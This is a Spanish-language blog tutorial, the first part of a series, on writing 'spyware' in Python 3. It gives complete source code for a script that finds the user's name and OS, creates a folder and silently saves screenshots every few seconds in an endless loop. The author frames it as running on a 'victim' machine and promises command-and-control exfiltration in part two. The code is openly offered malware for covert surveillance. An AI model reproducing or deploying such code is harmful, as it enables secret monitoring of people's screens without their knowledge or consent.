¿Cómo crear un spyware con Python 3? 1ra Parte

¿Que es un spyware?

Durante los últimos 10 años hemos visto como grupos especiales de hackers han logrado vulnerar la seguridad de redes de computadoras complejas con herramientas de software desarrolladas por estos mismos individuos, tal es el caso de la red Miraia, que se aprovechaba de la vulnerabilidad de diferentes dispositivos de IoT para crear una Bot net para atacar servidores dedicados de Minecraft, si, tal como lo has leído, pero esto parece ser historia para otro post. Hoy vamos a aprender a como crear nuestro primer spyware, el cuál, nos permitirá realizar capturas de pantalla en un rango de 2 a 4 segundos de diferencia entre cada captura, creando una carpeta especial donde las almacenaremos para posteriormente poder trabajar con ellas, es decir, podríamos montar un servidor ftp dentro del equipo víctima y extraer la carpeta completa o bien, creando un API con php para que desde el propio script podamos enviar cada una de ellas hasta nuestra computadora de comando y control, bien, vamos a iniciar.

1er paso, verificar la versión de Python

























Como vemos en la captura, para verificar la versión de Python que nuestro equipo está corriendo podemos escribir el siguiente comando:

python3 --version

este comando nos arrojará la versión que tenemos (en mi caso la versión de Python 3).

2do paso, instalación de módulos necesarios (PyAutogui y Colorama)

Para poder realizar las capturas de pantalla vamos a utilizar un módulo de Python que se llama PyAutogui, este módulo no solo nos permitirá realizar capturas, también trae otras funciones las cuales nos podrá permitir incluso manipular el mouse de un equipo.
Para instalar este módulo ejecutamos el siguiente comando:

python3 -m pip install pyautogui

























Lo siguiente que vamos a hacer es instalar un módulo que nos permitirá darle color a los mensajes que estaremos mostrando en el terminal, para ello necesitamos instalar colorama con el siguiente comando:

python3 -m pip install colorama
























3er paso, programar...

Bien, ya que tenemos todo lo necesario para este tutorial, vamos a dirigirnos a cualquier carpeta donde queramos guardar nuestro script, en mi caso he creado una carpeta dentro de Documentos, allí pondré mi script el cual lo crearé desde la propia terminal con el comando touch tal como se ve en la imagen






















Ya que lo hemos creado lo podemos abrir con nuestro editor de texto favorito, en mi caso utilizaré Visual Studio Code.

Ya que tenemos abierto nuestro archivo vamos a importar todos los módulos que vamos a necesitar para poder crear nuestro spyware:























Lo siguiente que vamos a hacer es mandar a llamar la función init() que pertenece a nuestro módulo de colorama, esto para poder comenzar a utilizar sus propiedades más adelante. Otro punto a considerar es que hemos creado una variable la cuál almacenará la ruta dónde se va a almacenar cada una de las capturas de pantalla que va a realizar nuestro spyware.






















Lo siguiente que vamos a hacer es validar el tipo de sistema operativo en el cuál se está ejecutando nuestro programa, esto nos permitirá saber si estamos en un SO Windows o Linux, una vez que sabemos que tipo de SO estamos utilizando, le asignamos a la variable ruta_capturas, la ruta que utilizará para almacenar las capturas en cada uno de ellos.

























Ya que tenemos la ruta dónde se almacenarán las capturas de pantalla, vamos a modificar un poco esta parte, ya que cuando ejecutemos la primera vez nuestro script, la carpte que en mi caso he de llamar "capturasSpyware" no existirá, por ende, el programa arrojará un error, así que para evitar ello, vamos a indicarle que si la carpeta de destino no existe, entonces la cree y asigne la nueva ruta a la variable ruta_capturas. Para poder hacer esto vamos a hacer uso de las funciones del sistema tales como mkdir, la cual nos permite crear carpetas indicándole el lugar donde queremos que se cree. Otra función que también vamos a utilizar es la de path.isdir(directorio), esta función nos permitirá verificar si la carpeta que queremos utilizar existe o no. Por lo tanto, el script hasta este momento quedaría de la siguiente manera: 





















Ya que tenemos esta parte vamos a proceder a la creación del código que nos permitirá tomar capturas de pantalla, para ello, vamos a crear un ciclo while infinito, dentro, vamos a poner el código que utilizaremos:






















Vamos a explicar un poco lo que hemos hecho aquí. En primer lugar en la línea 37 creamos una variable a la cual le pasaremos a través de la función randrange, un número aleatorio entre el 2 y 4 que en la línea siguiente, se lo asignaremos a la función sleep, esto nos permitirá dar un espacio de tiempo entre cada captura de pantalla que se realice.
Lo siguiente que podemos observar es que definimos una variable llamada ruta final, a esta variable le asignaremos la ruta_captura más el nombre_captura con un guión bajo y el tiempo que hemos de obtener el la línea de arriba, esto para saber la hora y fecha en que se realizó la captura, por último le asignamos el formato en que la captura de pantalla se almacenará, que en nuestro caso es ".jpg", posterior a ello creamos un objeto de la función screenshot() que nos provee el módulo PyAutogui, una vez hecho esto, accedemos a su propiedad save, a la cual, le pasaremos la ruta_final, esto realizará la captura de pantalla y la almacenará conforme se lo hemos indicado anteriormente.

Por último vamos a añadir algunos detalles haciendo uso del módulo de colorama, el cual nos permitirá poder "embellecer" los mensajes que estaremos arrojando en la terminal.

El resultado final sería el siguiente:

from getpass import getuser
from colorama import Fore, Back, init
from time import sleep, time
from pyautogui import screenshot
from os import mkdir, path
from sys import platform
from random import randrange

init()
ruta_capturas = ""
ruta_final = ""
validacion_ruta = ""
nombre_captura = "captura"
mensaje = ""

def capturarPantalla():
mensaje = Fore.GREEN + "ESCANEANDO SISTEMA" + Fore.RESET
print(mensaje)
mensaje = Fore.YELLOW + "OBTENIENDO NOMBRE DE USUARIO\n"+ Fore.RESET
print(mensaje)
usuario = getuser() #OBTENEMOS EL USUARIO DEL SISTEMA
mensaje = Fore.YELLOW + "USUARIO ENCONTRADO : " + Fore.RESET +
                    Back.GREEN + Fore.WHITE + usuario + Fore.RESET + Back.RESET
print(mensaje)

#VÁLIDAMOS QUE TIPO DE SO ESTAMOS UTILIZANDO
if platform.startswith("win32"):
mensaje = Fore.BLUE + "Sistema operativo Windows" + Fore.RESET
print(mensaje)
#ASIGNAMOS LA RUTA DONDE VAMOS A ALMACENAR LAS CAPTURAS
#EN EL CASO DE QUE SEA WINDOWS
mensaje = Fore.YELLOW + "Asignando ruta de destino..." + Fore.RESET
print(mensaje)
ruta_capturas = "C:\\Users\\" + usuario + "\\Desktop\\capturasSpyware\\"
validacion_ruta = path.isdir(ruta_capturas)

mensaje = Fore.GREEN + "Ruta de destino asignada" + Fore.RESET
print(mensaje)
elif platform.startswith("linux"):
mensaje = Fore.YELLOW + "Sistema operativo Windows" + Fore.RESET
print(mensaje)

mensaje = Fore.YELLOW + "Asignando ruta de destino..." + Fore.RESET
print(mensaje)
#ASIGNAMOS EN CASO DE SER LINUX
ruta_capturas = "/home/" + usuario + "/Imágenes/capturasSpyware/"
validacion_ruta = path.isdir(ruta_capturas)

mensaje = Fore.GREEN + "Ruta de destino asignada" + Fore.RESET
print(mensaje)
#VÁLIDAMOS EL MENSAJE QUE NOS ARROJA EL PATH.ISDIR
if validacion_ruta == False:
mensaje = Fore.YELLOW + "ESTA RUTA NO EXISTE\n" + Fore.RESET + Fore.RED
                    + "CREANDO CARPETA DE ALMACENAMIENTO\n" + Fore.RESET
print(mensaje)
        #SI LA RUTA NO EXISTE, ENTONCES CREAMOS LA CARPETA
mkdir(ruta_capturas)
mensaje = Fore.GREEN + "CARPETA CREADA CORRECTAMENTE\n" + Fore.RESET +
                    Fore.YELLOW + "INICIANDO CAPTURA DE PANTALLA" + Fore.RESET
print(mensaje)
else:
mensaje = Fore.YELLOW + "ESTA RUTA YA EXISTE\nINICIANDO CAPTURA DE PANTALLA"
                    + Fore.RESET
print(mensaje)
#CREAMOS UN CICLO WHILE INFINITO
while 1:
#ÍNDICAMOS EL TIEMPO ESTIMADO EN SEGUNDOS EN QUE TARDARÁ PARA REALIZAR CADA ACCION
random_time = randrange(2,4)
#ASIGAMOS EL RANDOM TIME AL SLEEP PARA QUE INDIQUE CUANTO DEBERÁ
#TARDAR PARA REALIZAR LA SIGUIENTE ACCION
sleep(random_time)
ts = time() #OBTENEMOS LA FECHA Y HORA
#A LA RUTA FINAL LE ASIGNAMOS CÓMO VA A QUEDAR NUESTRA CAPTURA
ruta_final = ruta_capturas + nombre_captura + "_" + str(ts) + ".jpg"
#CREAMOS UNA VARIABLE DONDE INSTANCIAMOS LA FUNCIÓN SCREENSHOT DE LA
        #LIBRERIA PYAUTOGUI
#EN SU PROPIEDAD SAVE LE PASAMOS LA RUTA FINAL ANTES CREADA
captura = screenshot()
captura.save(ruta_final)

mensaje = Fore.RED + "CAPTURA DE PANTALLA ALMACENADA EN -> "
            + Fore.RESET + ruta_final
print(mensaje) #IMPRIMIMOS UN MENSAJE

capturarPantalla()

Ya que tenemos todo listo es momento de probar nuestro código, puede que al ejecutarlo por primera vez nos salga un error como este:


Para poder solucionarlo solo necesitaremos ejecutar el siguiente comando sudo apt insall scrot y listo:


Ahora sí, corremos nuestro script y podremos ver algo como lo siguiente:

Si vamos a nuestra carpeta que en mi caso es imágenes, vamos a encontrar la carpeta que creó el script y dentro las capturas de pantalla que el spyware va generando.



Bien, en esta primera parte hemos visto como podemos crear un spyware que genere capturas de pantalla, lo mejor de esto es que al realizar la captura no genera ningún efecto es decir, no genera la animación que regularmente haría al momento de nosotros presionar el botón de imprimir pantalla que viene en nuestro teclado.

Espero que lo hallan disfrutado ya que pronto estaré publicando la segunda parte de este tutorial donde voy a añadir mas funciones que nos permitirán enviar estas imágenes a un servidor de comando y control, entre otras.

Sígueme en mi redes sociales para más contenido así:
YouTube: https://www.youtube.com/channel/UCLto1ZUqm_CZqC6eKqsgRwQ
Instagram: https://www.instagram.com/ferdevoficial/

Comentarios

Publicar un comentario

Entradas más populares de este blog

¿Que son las vistas en sql?

¿Cómo empezar en el mundo de la programación?